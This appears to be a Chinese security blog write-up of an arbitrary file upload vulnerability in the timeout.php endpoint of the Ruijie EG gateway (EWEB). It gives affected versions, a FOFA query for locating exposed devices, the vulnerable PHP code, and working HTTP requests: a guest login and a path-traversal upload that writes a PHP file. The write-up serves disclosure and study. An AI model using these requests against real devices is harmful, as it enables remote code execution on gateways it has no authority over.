锐捷-EWEB timeout.php 文件上传漏洞


漏洞简介

锐捷EG易网关是一款综合网关,由锐捷网络完全自主研发。它集成了先进的软硬件体系架构,配备了DPI深入分析引擎、行为分析/管理引擎,可以在保证网络出口高效转发的条件下,提供专业的流控功能、出色的URL过滤以及本地化的日志存储/审计服务。锐捷EG易网关 timeout.php 存在任意文件上传漏洞,攻击者可以利用该漏洞向设备上传任意文件,造成设备远程代码执行和被控制。

影响版本

<=2022.07.28.01

fofa语法

title="锐捷网络-EWEB网管系统" || app="Ruijie-EG易网关" && body="/login.php?a=version"

漏洞分析

看下 timeout.php 关键业务 uploadAction 逻辑的实现

function uploadAction() {
    $fileName = p("fileName");
    $mes = p("mes");
    $mes = iconv("utf-8","GBK//IGNORE",$mes);
    $fp = fopen(DS . "data" . DS . $fileName , "w");
    if ($fp && fwrite($fp, $mes)) {
        fclose($fp);
        json_echo(true);
    } else {
        json_echo(FALSE);
    }
}

uploadAction 接收一个 fileName 参数用作 fopen 函数的写入文件名,mes 参数的值作为写入文件的内容,无任何过滤或校验,因此造成任意文件上传漏洞。

漏洞复现

获取cookie

POST /ddi/server/login.php HTTP/1.1
Host: ruijieweb.mrxn.net
Content-Type: application/x-www-form-urlencoded

username=guest&password=guest?

上传文件

POST /system_pi/timeout.php?a=upload HTTP/1.1
Host: ruijieweb.mrxn.net
Content-Type: application/x-www-form-urlencoded
Cookie: RUIJIEID=xxxxxxxxxxl855hve3xxxxxxxx
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip

fileName=../tmp/html/test1.php&mes=<?=phpinfo();unlink(__FILE__);

访问上传文件 /test1.php

成功打印 phpinfo 信息


手机扫码阅读

用友NC complainjudge SQL注入漏洞

用友NC portalpage/importPml sql注入漏洞

评 论